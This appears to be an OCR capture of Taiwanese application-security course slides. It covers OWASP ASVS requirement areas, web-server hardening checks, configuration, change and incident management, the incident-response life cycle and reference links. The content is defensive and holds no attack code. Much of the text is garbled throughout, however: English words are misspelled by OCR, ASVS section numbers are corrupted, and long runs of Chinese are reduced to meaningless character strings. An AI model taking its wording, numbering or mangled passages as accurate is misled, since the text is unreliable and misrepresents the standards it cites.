requiremants that were derived from the high-level requirements for each of the verification levels defined in
this standard. Each section below defines a set of detalled verification requirements grouped into refated
BEAS.

The A5WS defines the following secwrity requirements areas. The numbering scheme has been kept
consistent with the previous wersion of ASVS to help with individuwals wishing to transition from one to the
other.

VI Authentication

V3. Session Management

Vil Access Control

V5. Maliclous Input Handling
V7. Cryptography at Rest

VE. Error Handling and Logaing

@qp}u_ﬁsp ‘ Testing Guide @
release

Vo, Data Protection
VIO, Communications
V11 HTTR

V13, Maliciones Controls
V15, Busingss Logic
V1. File and Resource
V17, Maobile

»| https://software-security.sans.org/resources/swat
»| https://www.sans.org/security-resources/posters/securing-web-application-
technologies-swat/60/download

https://owasp.org/www-
project-application-security-
verification-standard/

https://owasp.org/www-project-web-security-testing-

guide/assets/archive/OWASP_Testing_Guide_v4.pdf 89
https://github.com/wisec/OWASP-Testing-Guide-v5
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WHBEL Xl

> + OWASP Top 10(2017)
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> P LT T

v OS/jx#=~ £ % { # patch

v i3 ?i?ﬁi’ﬁ' » '}'E%

v B BF 7 & e PRI (Service ports)
V LABERERRFY

> RIBEBR L

v Web Serverik #_
— g A RETF 7 (4 Tomeat Admin ~ phpMyAdmin for MySQL ~ PHP Info page ...)

— MBS & ]
- m Bﬂ *% % ##i f:!' *E 'Q g & ke WAL F phpMyAdmin 2.5.6

409801 7 Tocalhos T - BAFD 100l

= t’é{i@%%{/ (Fe LT ST

— % Zcookie® X B
- "UHFGoogleyr# #* F(robots. txt)
— OS# 74 28] it

v’ SS L%‘;: i https://github.com/ssllabs/research/wiki/SSL- S
and-TLS-Deployment-Best-Practices SRS

Canguaga ¢ [ Chimama tradiiar
e " -
e T e [PHP Version 4.4.2 w
e (P [
T
By
Conims o

v # "% “debugging modes”

— Log ~ backdoor ~ PW ~ comment
I~ 'g 1?4{'}'5?
v ﬂlé’zﬁﬁ’» TERT
vV BERREE U 3BRIARIP
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HIFED

Layered Defense

Web Server

Web AP Firewall

Anti-Virus
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® i ¢ 32 (Configuration Management)
v CMDB: 54k 4 St 2B A~ 2 & T
- FTAER
- KEFE
> % { ¢ & (Change Management)
v g {ins
vV B 5&

> 33 B3 4 g 32 (Vulnerabilities Management)
V FASERT (A2 B 2/ 2
/iﬁﬁﬁﬁ
P 3545+ ¢ 2 (Log Audit)
v B B S ’E b4
v 2 HF E %6



> ¥ # ¢ 7 (Incident Management)

v Event = Alert = Incident

v’ Incident Response SOP VAR¥R
R ExY

olelarit Rlasee) s
IRCIGERINRESPLNSE NS i
ié’}"{ﬁnlﬁﬁ;”

-
Detection CE?_:E:'"::S:T' Posl-Incident

. 72 ¢ -
W and Analysis ' and Recovery / Activity — 4&*& 2 ’ frv
o1

— 3£ chain of evidence

Figure 13-1. Incident Response Life Cycle
2% 2
1. Preparation 1.Be Prepared 1 ‘} ‘ﬁ%
2. Detection and Analysis | |2.Be Systematic & Organized » Lesson Learned
3. Containment/Mitigation | [3.Act Quickly .
4. Recovery 4.Fix the Problem > P oig A 5 ik 1}7%
5. Post-Incident Analysis 5.Make Improvements
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> I* 42 ¢ 7 (Problem Management)
v “Problem”

— “Unknown” underlying cause of one or more incidents

vVERP &

— FERE {24 root cause
-FLEAHF 2
>V F RPN R
» R R

Incident Management Restore service a2
Problem Management Improve service $i A
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> T RR T
VIR S BAMEES L A S AER .
>R 2T R

v % { ¢ 2 (Change Management)

e

— 7 AR

— { # CMDB(Configuration Management Database)
v R

- TRMEE RS & &

- BEREEAFE D RGAEN

— 40 M S A K

— Uninstall /Archive /Secure Delete ¥ .57 71 i %
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AP TR
> KAE R4 2 %‘r
>EXLIRFEY
—~ SR HER BRENE }.%ﬁﬂa BRFLF, 4
> % AP R F R PASE R
> 3T W PIEE 3
> RS e RIdR L 2
> T S ELFR R ORI A 2
> % PIREL
- tRABAFTZTEXRTHLX2EE
_?;¢§4x¢gﬁ,&$§&ﬁ%pmg‘ T 1a .
SLA (Service Level Agreement)
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> AFRBREARFEL 2 EHBAMIRMEY o T105% 2 J B FVRFEY | KH
v https://lwww.nccst.nat.gov.tw/HandoutDetail?lang=zh&seq=1255

> FRRARFUEX > §REMRIEY v - RFEE
v https://www.nccst.nat.gov.tw/Vulnerability?lang=zh
> FRERRFES 2 §FFEMIRMZY o —F 2 WK 5T 49
v’ https://www.nccst.nat.gov.tw/CommonSpecification?lang=zh
» Microsoft SDL
v’ https://www.microsoft.com/en-us/sdl/
» Microsoft Threat Modeling Tool
v’ https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx
v’ https://www.microsoft.com/en-us/download/details.aspx?id=49168
» CSSLP
v Official (ISC)2 CSSLP Education Seminar Materials
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OWASP
v https://lwww.owasp.org/index.php/Main_Page

CWE/SANS - Top 25 Most Dangerous Programming Errors
v http://cwe.mitre.org/top25/index.html#L isting

SANS Securing Web Application Technologies [SWAT] Checklist
v’ https://software-security.sans.org/resources/swat

2019 Application Security Risk Report

v’ https://www.microfocus.com/media/report/2019-application-security-risk-
report.pdf
Secure by Defaults

v https://en.wikipedia.org/wiki/Secure by default
SSL Best Practice
v’ https://www.ssllabs.com/projects/best-practices/

% #: T The Web Application Hackers Handbook ; - Dafydd Stuttard -
Marcus Pinto

% #: T Hacking the Code (ASP.NET Web ApplicationSecurity) ; - Mark M.
Burnett ~ James C.Foster
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